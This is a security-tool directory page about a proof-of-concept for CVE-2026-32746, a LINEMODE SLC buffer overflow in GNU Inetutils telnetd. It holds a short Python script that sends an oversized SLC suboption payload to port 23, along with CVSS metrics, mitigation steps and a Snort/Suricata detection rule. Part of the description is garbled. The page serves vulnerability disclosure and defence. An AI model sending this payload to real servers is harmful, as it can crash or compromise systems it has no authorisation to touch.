Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-32746 — Proof-of-concept exploit for CVE-2026-32746, a critical remote code execution vulnerability in GNU Inetutils telnetd via LINEMODE SLC buffer overflow. Includes technical analysis, CVSS metrics, and mitigation guidance. | Kitploit
Tools/GitHubGitHub/kaleth4/cve-2026-32746
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubkaleth4/cve-2026-32746

CVE-2026-32746

Proof-of-concept exploit for CVE-2026-32746, a critical remote code execution vulnerability in GNU Inetutils telnetd via LINEMODE SLC buffer overflow. Includes technical analysis, CVSS metrics, and mitigation guidance.

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🚨 CVE-2026-32746 GNU Inetutils Telnetd RCE

🔥 📌 Executive Summary

Critical Vulnerability | CVSS 9.8 | Remote Code Execution! Affects: GNU Inetutils Telnetd (versions prior to 2.7) Type: OOB Write in the LINEMODE SLC suboption handler Attack Vector: Network (Port 23) | No authentication required Impact: RCE with Telnetd process privileges


🎯 📖 Technical Description

An out-of-bounds write (OOB Write) buffer overflow has been identified in the add_slc function of the daemon. This flaw allows a remote attacker to by manipulating the suboptions of the Telnet protocol.

GNU Inetutils
telnetd
inject arbitrary code
SLC (Set Local Characters)

🔍 Key Details

  • Vulnerable Function: add_slc (local character processing).
  • Root Cause: Lack of bounds validation in the internal buffer.
  • Exploitation: Mass sending of malicious LINEMODE SLC sequences.
  • Requirements: None (direct access to port 23).

🛠️ 💻 Proof of Concept (PoC)

An attacker can exploit this vulnerability by sending a malicious Telnet payload that overflows the internal buffer:

root@kitploit:~
#!/usr/bin/env python3
import socket
import sys

# CVE-2026-32746 - LINEMODE SLC Overflow
# IAC SB LINEMODE SLC <list> IAC SE
IAC  = b'\xff'
SB   = b'\xfa'
SE   = b'\xf0'
LINEMODE = b'\x22'
SLC  = b'\x03'

target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"

# Payload generated to overflow add_slc
malicious_slc = b"\x01\x03\x41" * 600  # 600 repetitions

payload = IAC + SB + LINEMODE + SLC + malicious_slc + IAC + SE

print(f"[*] Sending malicious payload to {target}...")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((target, 23))
    s.sendall(payload)
    print("[+] Payload delivered. Checking for service crash/RCE...")

⚠️ WARNING! This code is for educational and research purposes only. Its use on systems without authorization is illegal.


📊 📈 Risk Metrics (CVSS 3.1)

MetricValueDescription
VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HRemote, no authentication
Score9.8 (CRITICAL) 🔴High impact on confidentiality, integrity, and availability
PublishedMarch 13, 2026Last modified: May 5, 2026

🛡️ 🔒 Mitigation and Solutions

🚀 Immediate Solution

✅ Update GNU Inetutils to the patched version (post-2.7).

⚡ Workarounds

🔹 Disable telnetd and migrate to SSH (recommended). 🔹 Block port 23 on perimeter firewalls. 🔹 Configure IDS/IPS to detect anomalous LINEMODE SLC sequences.

🛡️ Additional Security Configuration

  • Snort/Suricata Rules:
    root@kitploit:~
    alert tcp any any -> any 23 (msg:"CVE-2026-32746 - LINEMODE SLC Overflow"; content:"|FF FA 22 03|"; depth:5; threshold:type both, track by_src, count 1, seconds 1; sid:1000001; rev:1;)
    
Download Tool